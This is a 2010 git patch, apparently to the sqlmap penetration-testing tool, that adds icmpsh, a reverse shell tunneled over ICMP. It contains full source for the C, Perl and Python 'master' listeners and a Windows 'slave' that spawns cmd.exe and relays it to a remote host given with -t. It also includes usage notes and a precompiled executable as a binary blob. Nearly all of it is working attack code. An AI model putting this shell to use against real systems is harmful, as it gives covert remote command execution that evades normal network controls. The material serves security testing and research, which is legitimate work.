From 6075752c470619bd7c3bc0e7a146c8bdd402f05a Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 27 Oct 2010 14:36:45 +0000 Subject: [PATCH] Added icmpsh from Nico Leidecker for future enhancement to --os-cmd and --os-pwn to make the user able to choose between TCP (Metasploit payloads) and ICMP (icmpsh software). --- extra/icmpsh/README.txt | 45 +++++ extra/icmpsh/icmpsh-m.c | 134 +++++++++++++++ extra/icmpsh/icmpsh-m.pl | 62 +++++++ extra/icmpsh/icmpsh-m.py | 55 +++++++ extra/icmpsh/icmpsh-s.c | 346 +++++++++++++++++++++++++++++++++++++++ extra/icmpsh/icmpsh.exe | Bin 0 -> 23129 bytes 6 files changed, 642 insertions(+) create mode 100644 extra/icmpsh/README.txt create mode 100644 extra/icmpsh/icmpsh-m.c create mode 100755 extra/icmpsh/icmpsh-m.pl create mode 100644 extra/icmpsh/icmpsh-m.py create mode 100644 extra/icmpsh/icmpsh-s.c create mode 100755 extra/icmpsh/icmpsh.exe diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt new file mode 100644 index 000000000..8103e6841 --- /dev/null +++ b/extra/icmpsh/README.txt @@ -0,0 +1,45 @@ +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c new file mode 100644 index 000000000..32c3edb74 --- /dev/null +++ b/extra/icmpsh/icmpsh-m.c @@ -0,0 +1,134 @@ +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-m.pl b/extra/icmpsh/icmpsh-m.pl new file mode 100755 index 000000000..5a40b34f2 --- /dev/null +++ b/extra/icmpsh/icmpsh-m.pl @@ -0,0 +1,62 @@ +#!/usr/bin/env perl +# +# icmpsh - simple icmp command shell +# Copyright (c) 2010, Nico Leidecker +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + + + +use strict; +use IO::Socket; +use NetPacket::IP; +use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); +use Net::RawIP; +use Fcntl; + +print "icmpsh - master\n"; + +# create raw socket +my $sock = IO::Socket::INET->new( + Proto => "ICMP", + Type => SOCK_RAW, + Blocking => 1) or die "$!"; + +# set stdin to non-blocking +fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; + +print "running...\n"; + +my $input = ''; +while(1) { + if ($sock->recv(my $buffer, 4096, 0)) { + my $ip = NetPacket::IP->decode($buffer); + my $icmp = NetPacket::ICMP->decode($ip->{data}); + if ($icmp->{type} == ICMP_ECHO) { + # get identifier and sequencenumber + my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); + + # write data to stdout and read from stdin + print $data; + $input = ; + + # compile and send response + $icmp->{type} = ICMP_ECHOREPLY; + $icmp->{data} = pack("SSa*", $ident, $seq, $input); + my $raw = $icmp->encode(); + my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); + $sock->send($raw, 0, $addr) or die "$!\n"; + } + } +} diff --git a/extra/icmpsh/icmpsh-m.py b/extra/icmpsh/icmpsh-m.py new file mode 100644 index 000000000..780e7af1e --- /dev/null +++ b/extra/icmpsh/icmpsh-m.py @@ -0,0 +1,55 @@ +#!/usr/bin/python + +import socket + +import pcapy +from impacket import ImpactDecoder +from impacket import ImpactPacket + +ip = ImpactPacket.IP() +ip.set_ip_src('192.168.136.1') +ip.set_ip_dst('192.168.136.132') + +def recv_pkts(hdr, data): + global ip + + x = ImpactDecoder.ICMPDecoder().decode(data) + print x + + i = raw_input() + + icmp = ImpactPacket.ICMP() + icmp.set_icmp_type(icmp.ICMP_ECHO) + icmp.contains(ImpactPacket.Data(i)) + ip.contains(icmp) + + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + icmp.set_icmp_id(0) + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + s.sendto(ip.get_packet(), ('192.168.136.132', 0)) + +def get_int(): + devs = pcapy.findalldevs() + i = 0 + + for eth in devs: + print " %d - %s" %(i,devs[i]) + i+=1 + + sel = input("Select interface: ") + dev = devs[sel] + + return dev + +dev = get_int() +p = pcapy.open_live(dev, 1500, 0, 100) + +p.setfilter('icmp') + +print "Listening on eth: net=%s, mask=%s\n" % (p.getnet(), p.getmask()) + +p.loop(-1, recv_pkts) diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c new file mode 100644 index 000000000..5c127d843 --- /dev/null +++ b/extra/icmpsh/icmpsh-s.c @@ -0,0 +1,346 @@ +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + + +#include +#include +#include +#include +#include +#include + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + struct hostent *he; + + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh.exe b/extra/icmpsh/icmpsh.exe new file mode 100755 index 0000000000000000000000000000000000000000..03c864ab92a6eb2782986bea8391453c725bbb7c GIT binary patch literal 23129 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 EKZily;s5{u literal 0 HcmV?d00001